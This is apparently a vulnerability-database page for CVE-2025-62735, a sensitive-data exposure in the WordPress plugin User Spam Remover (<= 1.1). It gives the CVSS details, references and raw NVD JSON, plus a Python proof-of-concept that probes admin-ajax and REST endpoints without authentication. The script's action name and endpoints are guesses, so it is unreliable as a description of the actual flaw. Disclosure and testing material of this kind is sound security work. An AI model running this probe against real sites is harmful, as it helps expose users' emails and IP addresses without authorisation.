CVE-2025-62735

Description

Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in Joel User Spam Remover user-spam-remover allows Retrieve Embedded Sensitive Data.This issue affects User Spam Remover: from n/a through <= 1.1.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

User Spam Remover <= 1.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-62735 PoC - WordPress User Spam Remover Sensitive Data Exposure
# Target: WordPress site with User Spam Remover plugin <= 1.1

target = "http://target-wordpress-site.com"

# Common WordPress AJAX endpoint used by plugins
endpoints = [
    f"{target}/wp-admin/admin-ajax.php",
    f"{target}/wp-admin/admin-post.php",
    f"{target}/?rest_route=/user-spam-remover/v1/data"
]

# Payload to trigger data retrieval
# The plugin lacks proper authentication checks
params = {
    "action": "user_spam_remover_get_data",
    "nonce": ""  # Plugin may not implement nonce verification
}

print("[*] Testing CVE-2025-62735 - User Spam Remover Data Exposure")
print(f"[*] Target: {target}")

for endpoint in endpoints:
    try:
        response = requests.get(endpoint, params=params, timeout=10)
        
        if response.status_code == 200:
            # Check for sensitive data patterns in response
            if any(keyword in response.text.lower() for keyword in 
                   ['email', 'ip', 'spam', 'user', 'comment']):
                print(f"[!] Potential vulnerability confirmed at: {endpoint}")
                print(f"[!] Response contains sensitive data indicators")
                print(f"[!] Response preview: {response.text[:500]}...")
    except requests.RequestException as e:
        print(f"[-] Error testing {endpoint}: {e}")

print("[*] PoC execution completed")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62735
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62735
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62735/
[4] VulDB https://vuldb.com/cve/CVE-2025-62735
[5] https://patchstack.com/database/Wordpress/Plugin/user-spam-remover/vulnerability/wordpress-user-spam-remover-plugin-1-1-sensitive-data-exposure-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62735", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:02.223", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in Joel User Spam Remover user-spam-remover allows Retrieve Embedded Sensitive Data.This issue affects User Spam Remover: from n/a through <= 1.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/user-spam-remover/vulnerability/wordpress-user-spam-remover-plugin-1-1-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}